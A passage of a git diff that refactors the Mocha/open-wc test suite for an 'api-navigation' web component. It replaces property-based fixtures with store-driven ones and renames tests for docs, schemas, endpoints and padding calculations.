+          const panel = element.shadowRoot.querySelector('.summary');
+          assert.notOk(panel);
+        });
+      });
+    });
+  });
+});
diff --git a/test/navigation/ApiNavigationElement.test.js b/test/navigation/ApiNavigationElement.test.js
index 0a06542..5d67f61 100644
--- a/test/navigation/ApiNavigationElement.test.js
+++ b/test/navigation/ApiNavigationElement.test.js
@@ -1,180 +1,128 @@
-import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
+import { fixture, assert, nextFrame, html, aTimeout, oneEvent } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-navigation.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
+import { EventTypes } from '../../src/events/EventTypes.js';
 import { 
-  computePathName, 
-  computeRenderPath, 
-  queryValue, 
-  queryDebouncer, 
-  hasPassiveSelection,
-  docsValue,
-  typesValue,
-  securityValue,
+  openedEndpointsValue,
+  documentMetaValue,
+  queryApi,
+  sourceEndpointsValue,
   endpointsValue,
-  isFragmentValue,
-  shiftTabPressed,
-  focusedItemPrivate,
-  itemClickHandler,
-  flushQuery,
-  rearrangeEndpoints,
-  toggleSectionHandler,
-  selectItem,
-  selectMethodPassive,
-  toggleEndpoint,
+  queryEndpoints,
+  documentationsValue,
+  queryDocumentations,
+  schemasValue,
+  querySchemas,
+  securityValue,
+  querySecurity,
+  shiftTabPressedValue,
+  focusedItemValue,
   computeEndpointPaddingLeft,
+  computeOperationPaddingValue,
   computeOperationPaddingLeft,
+  itemsValue,
 } from '../../src/elements/ApiNavigationElement.js';
-import { ns } from '../../src/helpers/Namespace.js';
-import { NavigationEvents } from '../../src/events/NavigationEvents.js';
-import { EventTypes } from '../../src/events/EventTypes.js';
-
-/* eslint-disable no-plusplus */
+import '../../define/api-navigation.js';
 
-/** @typedef {import('@anypoint-web-components/awc').AnypointCollapseElement} AnypointCollapseElement */
-/** @typedef {import('../../src/types').DocumentationItem} DocumentationItem */
-/** @typedef {import('../../src/types').TypeItem} TypeItem */
-/** @typedef {import('../../src/types').SecurityItem} SecurityItem */
-/** @typedef {import('../../src/types').EndpointItem} EndpointItem */
-/** @typedef {import('../../src/types').MethodItem} MethodItem */
 /** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
-/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
-/** @typedef {import('../../').Amf.EndPoint} EndPoint */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/types').NavigationLayout} NavigationLayout */
+/** @typedef {import('@anypoint-web-components/awc').AnypointCollapseElement} AnypointCollapseElement */
 
 describe('ApiNavigationElement', () => {
   const loader = new AmfLoader();
-  const asyncApi = 'async-api';
-  const unorderedEndpoints = 'unordered-endpoints';
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiNavigationElement>}
    */
-  async function basicFixture(amf) {
-    return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+  async function basicFixture() {
+    const element = await fixture(html`<api-navigation></api-navigation>`);
+    await aTimeout(1);
+    return /** @type ApiNavigationElement */ (element);
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiNavigationElement>}
    */
-  async function summaryFixture(amf) {
-    return fixture(html`<api-navigation summary .amf="${amf}"></api-navigation>`);
+  async function summaryFixture() {
+    const element = await fixture(html`<api-navigation summary></api-navigation>`);
+    await aTimeout(1);
+    return /** @type ApiNavigationElement */ (element);
   }
 
   /**
-   * @param {AmfDocument=} amf
+   * @param {string} domainId
    * @returns {Promise<ApiNavigationElement>}
    */
-  async function preselectedFixture(amf) {
-    return fixture(
-      html`<api-navigation summary domainId="test1" .amf="${amf}"></api-navigation>`
+  async function preselectedFixture(domainId) {
+    const element = await fixture(
+      html`<api-navigation summary .domainId="${domainId}"></api-navigation>`
     );
+    await aTimeout(1);
+    return /** @type ApiNavigationElement */ (element);
   }
 
   /**
-   * @param {AmfDocument=} amf
-   * @returns {Promise<ApiNavigationElement>}
-   */
-  async function sortedFixture(amf) {
-    return fixture(
-      html`<api-navigation rearrangeEndpoints .amf="${amf}"></api-navigation>`
-    );
-  }
-
- /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiNavigationElement>}
    */
-  async function endpointsOpenedFixture(amf) {
-    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation
-      endpointsOpened
-      .amf="${amf}"
-    ></api-navigation>`));
+  async function dataFixture() {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`
+      <api-navigation 
+        summary 
+        layout="tree"
+        filter
+        endpointsOpened
+        documentationsOpened
+        schemasOpened
+        securityOpened></api-navigation>
+    `));
+    await oneEvent(elm, 'graphload');
     await nextFrame();
     return elm;
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiNavigationElement>}
    */
-  async function docsOpenedFixture(amf) {
-    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation
-      docsOpened
-      .amf="${amf}"
-    ></api-navigation>`));
+  async function noSortingFixture() {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`
+      <api-navigation 
+        endpointsOpened
+        documentationsOpened
+        schemasOpened
+        securityOpened></api-navigation>
+    `));
+    await oneEvent(elm, 'graphload');
     await nextFrame();
     return elm;
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiNavigationElement>}
    */
-  async function typesOpenedFixture(amf) {
-    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation
-      typesOpened
-      .amf="${amf}"
-    ></api-navigation>`));
-    await nextFrame();
-    return elm;
+  async function manualFixture() {
+    return fixture(html`<api-navigation manualQuery></api-navigation>`);
   }
 
   /**
-   * @param {AmfDocument=} amf
+   * @param {NavigationLayout} layout
    * @returns {Promise<ApiNavigationElement>}
    */
-  async function securityOpenedFixture(amf) {
-    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation
+  async function layoutFixture(layout) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation 
+      endpointsOpened
+      documentationsOpened
+      schemasOpened
       securityOpened
-      .amf="${amf}"
-    ></api-navigation>`));
+      layout="${layout}"></api-navigation>`));
+    await oneEvent(elm, 'graphload');
     await nextFrame();
     return elm;
   }
 
-  /**
-   * @param {AmfDocument=} amf
-   * @returns {Promise<ApiNavigationElement>}
-   */
-  async function modelFixture(amf) {
-    const elm = /** @type ApiNavigationElement */ (await fixture(
-      html`<api-navigation .amf="${amf}"></api-navigation>`
-    ));
-    return elm;
-  }
-
-  /**
-   * @param {AmfDocument=} amf
-   * @param {boolean=} operationsOpened
-   * @returns {Promise<ApiNavigationElement>}
-   */
-  async function operationsOpenedFixture(amf, operationsOpened = true) {
-    const elm = /** @type ApiNavigationElement */ (await fixture(
-      html`<api-navigation .amf="${amf}" .operationsOpened="${operationsOpened}"></api-navigation>`
-    ));
-    return elm;
-  }
-
-  /**
-   * @param {string} code 
-   * @param {number} no 
-   * @returns {KeyboardEvent}
-   */
-  function keyboardEvent(code, no) {
-    const e = new KeyboardEvent('keydown', {
-      detail: 0,
-      bubbles: true,
-      cancelable: true,
-      composed: true,
-      keyCode: no,
-      code,
-      key: code,
-    });
-    return e;
-  }
-
   describe('Super basics - without model', () => {
     /** @type ApiNavigationElement */
     let element;
@@ -184,11 +132,7 @@ describe('ApiNavigationElement', () => {
       await nextFrame();
     });
 
-    it('[isFragmentValue] is set', () => {
-      assert.isFalse(element[isFragmentValue]);
-    });
-
-    it('summaryRendered is not false', () => {
+    it('summaryRendered is false without an API', () => {
       assert.isFalse(element.summaryRendered);
     });
 
@@ -202,8 +146,8 @@ describe('ApiNavigationElement', () => {
       assert.notOk(panel);
     });
 
-    it('types is not rendered', () => {
-      const panel = element.shadowRoot.querySelector('.types');
+    it('schemas is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.schemas');
       assert.notOk(panel);
     });
 
@@ -226,7 +170,7 @@ describe('ApiNavigationElement', () => {
       await nextFrame();
     });
 
-    it('the summary is rendered', () => {
+    it('the summary entry is rendered', () => {
       const panel = element.shadowRoot.querySelector('.summary');
       assert.ok(panel);
     });
@@ -239,490 +183,22 @@ describe('ApiNavigationElement', () => {
     });
   });
 
-  describe('Docs', () => {
-    /** @type ApiNavigationElement */
-    let element;
-    /** @type DocumentationItem[] */
-    let model;
-
-    beforeEach(async () => {
-      model = [
-        {
-          id: 'test1',
-          label: 'test1',
-          isExternal: false,
-        },
-        {
-          id: 'test2',
-          label: 'test2',
-          isExternal: false,
-        },
-      ];
-      element = await preselectedFixture();
-      element[docsValue] = model;
-      await element.requestUpdate();
-    });
-
-    it('computes the hasDocs', () => {
-      assert.isTrue(element.hasDocs);
-    });
-
-    it('renders the documentation', () => {
-      const panel = element.shadowRoot.querySelector('.documentation');
-      assert.ok(panel);
-    });
-
-    it('has a selection on the preselected item', () => {
-      const selector = '.documentation [data-api-id="test1"]';
-      const panel = element.shadowRoot.querySelector(selector);
-      assert.ok(panel);
-    });
-
-    it('changes selection when clicking on an item', () => {
-      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('.documentation .list-item'))[1];
-      node.click();
-      assert.equal(element.domainId, 'test2');
-      assert.equal(element.domainType, 'documentation');
-    });
-  });
-
-  describe('Types', () => {
-    /** @type ApiNavigationElement */
-    let element;
-    /** @type TypeItem[] */
-    let model;
-    beforeEach(async () => {
-      model = [
-        {
-          id: 'test1',
-          label: 'test1',
-        },
-        {
-          id: 'test2',
-          label: 'test2',
-        },
-      ];
-      element = await preselectedFixture();
-      element[typesValue] = model;
-      await element.requestUpdate();
-    });
-
-    it('computes the hasTypes', () => {
-      assert.isTrue(element.hasTypes);
-    });
-
-    it('renders the types section', () => {
-      const panel = element.shadowRoot.querySelector('section.types');
-      assert.ok(panel);
-    });
-
-    it('has a selection aon a preselected item', () => {
-      const selector = '.types [data-api-id="test1"]';
-      const panel = element.shadowRoot.querySelector(selector);
-      assert.ok(panel);
-    });
-
-    it('changes selection when clicking on an item', () => {
-      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('.types .list-item'))[1];
-      node.click();
-      assert.equal(element.domainId, 'test2');
-      assert.equal(element.domainType, 'schema');
-    });
-  });
-
-  describe('Security', () => {
-    /** @type ApiNavigationElement */
-    let element;
-    /** @type SecurityItem[] */
-    let model;
-    beforeEach(async () => {
-      model = [
-        {
-          id: 'test1',
-          label: 'test1',
-        },
-        {
-          id: 'test2',
-          label: 'test2',
-        },
-      ];
-      element = await preselectedFixture();
-      element[securityValue] = model;
-      await element.requestUpdate();
-    });
-
-    it('computes the hasSecurity', () => {
-      assert.isTrue(element.hasSecurity);
-    });
-
-    it('renders the types panel', () => {
-      const panel = element.shadowRoot.querySelector('section.security');
-      assert.ok(panel);
-    });
-
-    it('has a selection on a preselected item', () => {
-      const selector = '.security [data-api-id="test1"]';
-      const panel = element.shadowRoot.querySelector(selector);
-      assert.ok(panel);
-    });
-
-    it('changes selection when clicking on an item', () => {
-      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
-        '.security .list-item'
-      ))[1];
-      node.click();
-      assert.equal(element.domainId, 'test2');
-      assert.equal(element.domainType, 'security');
-    });
-  });
-
-  describe('Endpoints', () => {
-    /** @type ApiNavigationElement */
-    let element;
-    /** @type EndpointItem[] */
-    let model;
-    beforeEach(async () => {
-      model = [
-        {
-          id: 'test1',
-          label: 'test1',
-          path: '',
-          renderPath: false,
-          indent: 0,
-          methods: [
-            {
-              id: 'method1',
-              method: 'GET',
-              label: '',
-            },
-          ],
-        },
-        {
-          id: 'test2',
-          label: 'test2',
-          path: '',
-          renderPath: false,
-          indent: 0,
-          methods: [
-            {
-              id: 'method2',
-              method: 'GET',
-              label: '',
-            },
-            {
-              id: 'method3',
-              method: 'POST',
-              label: '',
-            },
-          ],
-        },
-      ];
-      element = await preselectedFixture();
-      // @ts-ignore
-      element[endpointsValue] = model;
-      await element.requestUpdate();
-    });
-
-    it('computes the hasEndpoints', () => {
-      assert.isTrue(element.hasEndpoints);
-    });
-
-    it('renders the types section', () => {
-      const panel = element.shadowRoot.querySelector('section.endpoints');
-      assert.ok(panel);
-    });
-
-    it('has a selection on a preselected item', () => {
-      const selector = '.endpoints [data-api-id="test1"]';
-      const panel = element.shadowRoot.querySelector(selector);
-      assert.ok(panel);
-    });
-
-    it('toggles an operation when clicking on an endpoint', async () => {
-      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
-        '.endpoints .list-item.endpoint'
-      ))[1];
-      node.click();
-      await aTimeout(0);
-
-      const collapsable = node.nextElementSibling;
-      // @ts-ignore
-      assert.isTrue(collapsable.opened);
-    });
-
-    it('changes selection when clicking on the overview', () => {
-      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
-        '.list-item.operation[data-shape="resource"]'
-      ))[1];
-      node.click();
-      assert.equal(element.domainId, 'test2');
-      assert.equal(element.domainType, 'resource');
-    });
-
-    it('rearrangeEndpoints is not true by default', () => {
-      assert.isNotTrue(element.rearrangeEndpoints);
-    });
-  });
-
-  describe('Sorting endpoints', () => {
-    /** @type ApiNavigationElement */
-    let element;
-    /** @type AmfDocument */
-    let amf;
-
-    // const pathKey = 'http://a.ml/vocabularies/apiContract#path';
-    const pathKey = ns.aml.vocabularies.apiContract.path;
-
-    // const dataSet = /** @type EndPoint[] */ ([
-    //   { [pathKey]: [{ '@value': '/transactions/:txId' }], '@id': '', '@type': [] },
-    //   { [pathKey]: [{ '@value': '/billing' }], '@id': '', '@type': [] },
-    //   { [pathKey]: [{ '@value': '/accounts/:accountId' }], '@id': '', '@type': [] },
-    //   { [pathKey]: [{ '@value': '/accounts' }], '@id': '', '@type': [] },
-    //   { [pathKey]: [{ '@value': '/transactions' }], '@id': '', '@type': [] },
-    // ]);
-
-    // const expected = /** @type EndPoint[] */ ([
-    //   { [pathKey]: [{ '@value': '/accounts' }], '@id': '', '@type': [] },
-    //   { [pathKey]: [{ '@value': '/accounts/:accountId' }], '@id': '', '@type': [] },
-    //   { [pathKey]: [{ '@value': '/billing' }], '@id': '', '@type': [] },
-    //   { [pathKey]: [{ '@value': '/transactions' }], '@id': '', '@type': [] },
-    //   { [pathKey]: [{ '@value': '/transactions/:txId' }], '@id': '', '@type': [] },
-    // ]);
-
-    const dataSet = /** @type any[] */ ([
-      { [pathKey]: '/transactions/:txId' },
-      { [pathKey]: '/billing' },
-      { [pathKey]: '/accounts/:accountId' },
-      { [pathKey]: '/accounts' },
-      { [pathKey]: '/transactions' },
-    ]);
-
-    const expected = /** @type any[] */ ([
-      { [pathKey]: '/accounts' },
-      { [pathKey]: '/accounts/:accountId' },
-      { [pathKey]: '/billing' },
-      { [pathKey]: '/transactions' },
-      { [pathKey]: '/transactions/:txId' },
-    ]);
-
-    beforeEach(async () => {
-      element = await sortedFixture();
-      amf = await loader.getGraph(false, 'rearrange-api');
-    });
-
-    it('should sort endpoints', () => {
-      const sorted = element[rearrangeEndpoints](dataSet);
-      assert.sameDeepOrderedMembers(sorted, expected);
-    });
-
-    it('should have endpoints sorted', () => {
-      element.amf = amf;
-
-      element[endpointsValue].forEach((endpoint, i) =>
-        assert.equal(endpoint.path, expected[i][pathKey])
-      );
-    });
-
-
-    it('should sort after setting rearrangeEndpoints property', async () => {
-      element = await modelFixture(amf);
-      await nextFrame();
-      let elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
-      const expectedPaths = expected.map(endpoint => endpoint[pathKey]);
-      assert.notSameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
-      element.rearrangeEndpoints = true;
-      await nextFrame();
-      elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
-      assert.sameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
-    });
-
-    it('should un-sort after toggling rearrangeEndpoints property off', async () => {
-      element = await modelFixture(amf);
-      element.rearrangeEndpoints = true;
-      await nextFrame();
-      let elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
-      const expectedPaths = expected.map(endpoint => endpoint[pathKey]);
-      assert.sameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
-      element.rearrangeEndpoints = false;
-      await nextFrame();
-      elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
-      assert.notSameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
-    });
-  });
-
-  describe('Navigation events', () => {
-    /** @type ApiNavigationElement */
-    let element;
-    let model;
-    beforeEach(async () => {
-      model = {
-        docs: [
-          {
-            id: 'test1',
-            label: 'test1',
-            isExternal: false,
-          },
-          {
-            id: 'test2',
-            label: 'test2',
-            isExternal: false,
-          },
-        ],
-        types: [
-          {
-            id: 'test3',
-            label: 'test3',
-          },
-          {
-            id: 'test4',
-            label: 'test4',
-          },
-        ],
-        security: [
-          {
-            id: 'test5',
-            label: 'test5',
-          },
-          {
-            id: 'test6',
-            label: 'test6',
-          },
-        ],
-        endpoints: [
-          {
-            id: 'test7',
-            label: 'test7',
-            methods: [
-              {
-                id: 'method8',
-                method: 'GET',
-              },
-            ],
-          },
-          {
-            id: 'test9',
-            label: 'test9',
-            methods: [
-              {
-                id: 'method10',
-                method: 'GET',
-              },
-              {
-                id: 'method11',
-                method: 'POST',
-              },
-            ],
-          },
-        ],
-      };
-      element = await basicFixture();
-      element[docsValue] = model.docs;
-      element[typesValue] = model.types;
-      element[securityValue] = model.security;
-      // @ts-ignore
-      element[endpointsValue] = model.endpoints;
-      await element.requestUpdate();
-    });
-
-    it('updates the selection from the change event', async () => {
-      const id = 'test3';
-      NavigationEvents.apiNavigate(document.body, id, 'schema');
-      assert.equal(element.domainId, id);
-      assert.equal(element.domainType, 'schema');
-      const node = element.shadowRoot.querySelector(`[data-api-id="${id}"]`);
-      await nextFrame();
-      assert.isTrue(node.classList.contains('selected'));
-    });
-
-    it('does not update the selection if it is the source', () => {
-      const id = 'test3';
-      NavigationEvents.apiNavigate(element, id, 'schema');
-      assert.isUndefined(element.domainId);
-    });
-
-    it('does not dispatch the selection event', () => {
-      const id = 'test3';
-      const spy = sinon.spy();
-      element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
-      NavigationEvents.apiNavigate(document.body, id, 'schema');
-      assert.isFalse(spy.called);
-    });
-
-    [
-      ['schema', 'test3', '.list-item'],
-      ['security', 'test5', '.list-item'],
-      ['documentation', 'test1', '.list-item'],
-      ['resource', 'test7', '.operation'],
-    ].forEach(item => {
-      const [type, id, selector] = item;
-      it(`dispatches the event when clicking on a ${type}`, () => {
-        const s = `${selector}[data-api-id="${id}"]`;
-        const spy = sinon.spy();
-        element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
-        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector(s));
-        node.click();
-        assert.isTrue(spy.calledOnce);
-        const { detail } = spy.args[0][0];
-        assert.equal(detail.domainId, id);
-        assert.equal(detail.domainType, type);
-        assert.isUndefined(detail.parentId);
-      });
-    });
-
-    it('dispatches the event when clicking on a method', () => {
-      const selector = '.operation[data-api-id="method10"]';
-      const spy = sinon.spy();
-      element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
-      const node = /** @type HTMLElement */ (element.shadowRoot.querySelector(selector));
-      node.click();
-      assert.isTrue(spy.calledOnce);
-      const { detail } = spy.args[0][0];
-      assert.equal(detail.domainId, 'method10');
-      assert.equal(detail.domainType, 'operation');
-      assert.equal(detail.parentId, 'test9');
-    });
-  });
-
-  describe('computePathName()', () => {
-    it('Computes short path', () => {
-      const base = ['/root', '/root/other'];
-      const current = '/root/other/path';
-      const parts = ['root', 'other', 'path'];
-      const indent = 3;
-      const result = computePathName(current, parts, indent, base);
-      assert.equal(result, '/path');
-    });
-
-    it('Computes short path for combined endpoint names', () => {
-      const base = ['/root', '/root/other'];
-      const current = '/root/other/path';
-      const parts = ['root', 'other'];
-      const indent = 1;
-      const result = computePathName(current, parts, indent, base);
-      assert.equal(result, '/other/path');
-    });
-  });
-
   describe('[computeEndpointPaddingLeft]()', () => {
-    /** @type ApiNavigationElement */
-    let element;
-    beforeEach(async () => {
-      element = await basicFixture();
-      await nextFrame();
-    });
+    let element = /** @type ApiNavigationElement */ (null);
+    beforeEach(async () => { element = await basicFixture() });
 
-    it('Computes default padding', () => {
+    it('returns the default padding', () => {
       const result = element[computeEndpointPaddingLeft]();
       assert.equal(result, 16);
     });
 
-    it('Computes value for single value padding', () => {
+    it('returns value for a single value padding', () => {
       element.style.setProperty('--api-navigation-list-item-padding', '5px');
       const result = element[computeEndpointPaddingLeft]();
       assert.equal(result, 5);
     });
 
-    it('Computes value for double padding value', () => {
+    it('returns value for a double padding value', () => {
       element.style.setProperty(
         '--api-navigation-list-item-padding',
         '5px 10px'
@@ -731,7 +207,7 @@ describe('ApiNavigationElement', () => {
       assert.equal(result, 10);
     });
 
-    it('Computes value for triple padding value', () => {
+    it('returns value for a triple padding value', () => {
       element.style.setProperty(
         '--api-navigation-list-item-padding',
         '5px 10px 15px'
@@ -740,7 +216,7 @@ describe('ApiNavigationElement', () => {
       assert.equal(result, 10);
     });
 
-    it('Computes value for full padding value', () => {
+    it('returns value for a full padding value', () => {
       element.style.setProperty(
         '--api-navigation-list-item-padding',
         '5px 10px 15px 20px'
@@ -750,14 +226,32 @@ describe('ApiNavigationElement', () => {
     });
   });
 
-  describe('[computeOperationPaddingLeft]()', () => {
-    /** @type ApiNavigationElement */
-    let element;
+  describe('[computeOperationPaddingValue]()', () => {
+    let element = /** @type ApiNavigationElement */ (null);
+    beforeEach(async () => { element = await basicFixture() });
 
-    beforeEach(async () => {
-      element = await basicFixture();
-      await nextFrame();
+    it('returns value when "indent" not set', () => {
+      element.indentSize = 0;
+      const result = element[computeOperationPaddingValue](0);
+      assert.equal(result, '56px');
+    });
+
+    it('returns value when "indentSize" not set', () => {
+      element.indentSize = 0;
+      const result = element[computeOperationPaddingValue](1);
+      assert.equal(result, '56px');
+    });
+
+    it('returns value when indent size is set', () => {
+      element.indentSize = 12;
+      const result = element[computeOperationPaddingValue](2);
+      assert.equal(result, '80px');
     });
+  });
+
+  describe('[computeOperationPaddingLeft]()', () => {
+    let element = /** @type ApiNavigationElement */ (null);
+    beforeEach(async () => { element = await basicFixture() });
 
     it('Computes default padding', () => {
       const result = element[computeOperationPaddingLeft]();
@@ -774,396 +268,1192 @@ describe('ApiNavigationElement', () => {
     });
   });
 
-  describe('[toggleEndpoint]()', () => {
-    /** @type ApiNavigationElement */
-    let element;
-
-    beforeEach(async () => {
-      element = await basicFixture();
-      await nextFrame();
-    });
-
-    it('Does nothing when node with data-endpoint-id is not in the path', () => {
-      const spy = sinon.spy(element, 'toggleOperations');
-      const e = new MouseEvent('test');
-      e.composedPath = () => [];
-      element[toggleEndpoint](e);
-      assert.isFalse(spy.called);
-    });
-
-    it('Ignores node that are not of a type of 1 (Element)', () => {
-      const spy = sinon.spy(element, 'toggleOperations');
-      const e = new MouseEvent('test');
-      e.composedPath = () => [document.createTextNode('test')];
-      element[toggleEndpoint](e);
-      assert.isFalse(spy.called);
-    });
-
-    it('Ignores nodes without data-endpoint-id', () => {
-      const spy = sinon.spy(element, 'toggleOperations');
-      const e = new MouseEvent('test');
-      e.composedPath = () => [document.createTextNode('span')];
+  describe('queryGraph()', () => {
+    let element = /** @type ApiNavigationElement */ (null);
+    beforeEach(async () => { element = await manualFixture() });
 
-      element[toggleEndpoint](e);
-      assert.isFalse(spy.called);
+    it('sets the [queryingValue] property', async () => {
+      const p = element.queryGraph();
+      assert.isTrue(element.querying);
+      await p;
     });
 
-    it('calls toggleOperations()', () => {
-      const spy = sinon.spy(element, 'toggleOperations');
-      const node = document.createElement('span');
-      node.dataset.endpointId = 'testId';
-      const e = new MouseEvent('test');
-      e.composedPath = () => [node];
-      element[toggleEndpoint](e);
-      assert.isTrue(spy.called, 'Function called');
-      assert.equal(spy.args[0][0], 'testId', 'Has argument set');
-    });
-  });
-
-  describe('[queryChanged]()', () => {
-    let element;
-    beforeEach(async () => {
-      element = await summaryFixture();
+    it('clears the [itemsValue] property', async () => {
+      element[itemsValue] = [];
+      const p = element.queryGraph();
+      assert.isUndefined(element[itemsValue]);
+      await p;
     });
 
-    it('Does nothing when [queryDebouncer] is already set', () => {
-      element[queryDebouncer] = 1;
-      element.query = 'test';
-      assert.equal(element[queryDebouncer], 1);
+    it('sets the [abortControllerValue] property', async () => {
+      const p = element.queryGraph();
+      assert.ok(element.abortController);
+      await p;
     });
-
-    it('Sets [queryDebouncer]', async () => {
-      element.query = 'test';
-      assert.isTrue(element[queryDebouncer]);
-      await nextFrame();
+    
+    it('clears the [abortControllerValue] property after the query', async () => {
+      await element.queryGraph();
+      assert.isUndefined(element.abortController);
     });
-
-    it('calls the [flushQuery]() method', done => {
-      element.query = 'test';
-      const spy = sinon.spy(element, flushQuery);
-      setTimeout(() => {
-        assert.isTrue(spy.called);
-        done();
-      });
+    
+    it('clears the [queryingValue] property after the query', async () => {
+      await element.queryGraph();
+      assert.isFalse(element.querying);
     });
-
-    it('Re-sets [queryDebouncer]', done => {
-      element.query = 'test';
-      setTimeout(() => {
-        assert.isFalse(element[queryDebouncer]);
-        done();
-      });
+    
+    it('clears the [openedEndpointsValue] property after the query', async () => {
+      element[openedEndpointsValue] = ['test'];
+      await element.queryGraph();
+      assert.deepEqual(element[openedEndpointsValue], []);
     });
   });
 
-  [false, true].forEach((compact) => {
+  [true].forEach((compact) => {
     describe(compact ? 'Compact model' : 'Full model', () => {
-      describe('[toggleSectionHandler]()', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
+      /** @type AmfDocument */
+      let demoModel;
+      /** @type AmfDocument */
+      let extDocsModel;
+      /** @type AmfDocument */
+      let rearrangeModel;
+      /** @type AmfDocument */
+      let streetlightsModel;
+      /** @type AmfDocument */
+      let asyncModel;
+
+      before(async () => {
+        demoModel = await loader.getGraph(compact);
+        extDocsModel = await loader.getGraph(compact, 'ext-docs');
+        rearrangeModel = await loader.getGraph(compact, 'rearrange-api');
+        streetlightsModel = await loader.getGraph(compact, 'streetlights');
+        asyncModel = await loader.getGraph(compact, 'async-api');
+      });
 
-        beforeEach(async () => {
-          amf = await loader.getGraph(compact, 'navigation-api');
-          element = await basicFixture();
-          element.amf = amf;
-          await nextFrame();
+      describe('Docs', () => {
+        it('computes the #hasDocs', async () => {
+          store.amf = demoModel;
+          const element = await summaryFixture();
+          assert.isTrue(element.hasDocs);
         });
-
-        it('does nothing when node not found in path', () => {
-          const e = new MouseEvent('test');
-          e.composedPath = () => [];
-
-          element[toggleSectionHandler](e);
-          // No error
+    
+        it('renders the documentation', async () => {
+          store.amf = demoModel;
+          const element = await summaryFixture();
+          const panel = element.shadowRoot.querySelector('.documentation');
+          assert.ok(panel);
         });
-
-        it('skips elements without dataset property', () => {
-          const e = new MouseEvent('test');
-          e.composedPath = () => [document.createTextNode('test')];
-          
-          element[toggleSectionHandler](e);
+    
+        it('has a selection on the preselected item', async () => {
+          store.amf = demoModel;
+          const doc = loader.getDocumentation(demoModel, 'Test doc');
+          const element = await preselectedFixture(doc.id);
+          const selector = `[data-graph-shape="documentation"][data-graph-id="${doc.id}"]`;
+          const panel = element.shadowRoot.querySelector(selector);
+          assert.ok(panel);
         });
-
-        it('skips elements without data-section attribute', () => {
-          const node = document.createElement('span');
-          const e = new MouseEvent('test');
-          e.composedPath = () => [node];
-
-          element[toggleSectionHandler](e);
+    
+        it('changes selection when clicking on an item', async () => {
+          store.amf = demoModel;
+          const element = await summaryFixture();
+          const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('[data-graph-shape="documentation"]'))[0];
+          node.click();
+          const doc = loader.getDocumentation(demoModel, 'Test doc');
+          assert.equal(element.domainId, doc.id);
+          assert.equal(element.domainType, 'documentation');
         });
 
-        it('toggles the section', () => {
-          const node = document.createElement('span');
-          node.dataset.section = 'endpoints';
-          const e = new MouseEvent('test');
-          e.composedPath = () => [node];
-
-          element[toggleSectionHandler](e);
-          assert.isTrue(element.endpointsOpened);
+        it('renders the external link', async () => {
+          store.amf = extDocsModel;
+          const element = await summaryFixture();
+          const link = /** @type HTMLAnchorElement */ (element.shadowRoot.querySelector('a.documentation'));
+          assert.ok(link, 'has the link');
+          assert.equal(link.href, 'https://example.com/', 'has the URL');
+          assert.equal(link.textContent.trim(), 'Docs', 'has the label');
         });
       });
 
-      describe('[selectMethodPassive]()', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
-
-        beforeEach(async () => {
-          amf = await loader.getGraph(compact, 'navigation-api');
-          element = await basicFixture();
-          element.amf = amf;
-          await nextFrame();
+      describe('Section data rendering', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        before(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture();
         });
-
-        it('does nothing when the id is not in the DOM', () => {
-          element[selectMethodPassive]('some-id');
-          assert.isUndefined(element[hasPassiveSelection]);
+  
+        it('has the summary', () => {
+          const node = element.shadowRoot.querySelector('.summary');
+          assert.ok(node);
         });
-
-        it('adds the "passive-selected" class name to the method label', () => {
-          const { id } = element[endpointsValue][0].methods[0];
-          element[selectMethodPassive](id);
-          const node = element.shadowRoot.querySelector('.passive-selected');
-          // @ts-ignore
-          assert.equal(node.dataset.apiId, id);
+    
+        it('has the endpoints', () => {
+          const panel = element.shadowRoot.querySelector('.endpoints');
+          assert.ok(panel);
         });
-
-        it('sets the [hasPassiveSelection] flag', () => {
-          const { id } = element[endpointsValue][0].methods[0];
-          element[selectMethodPassive](id);
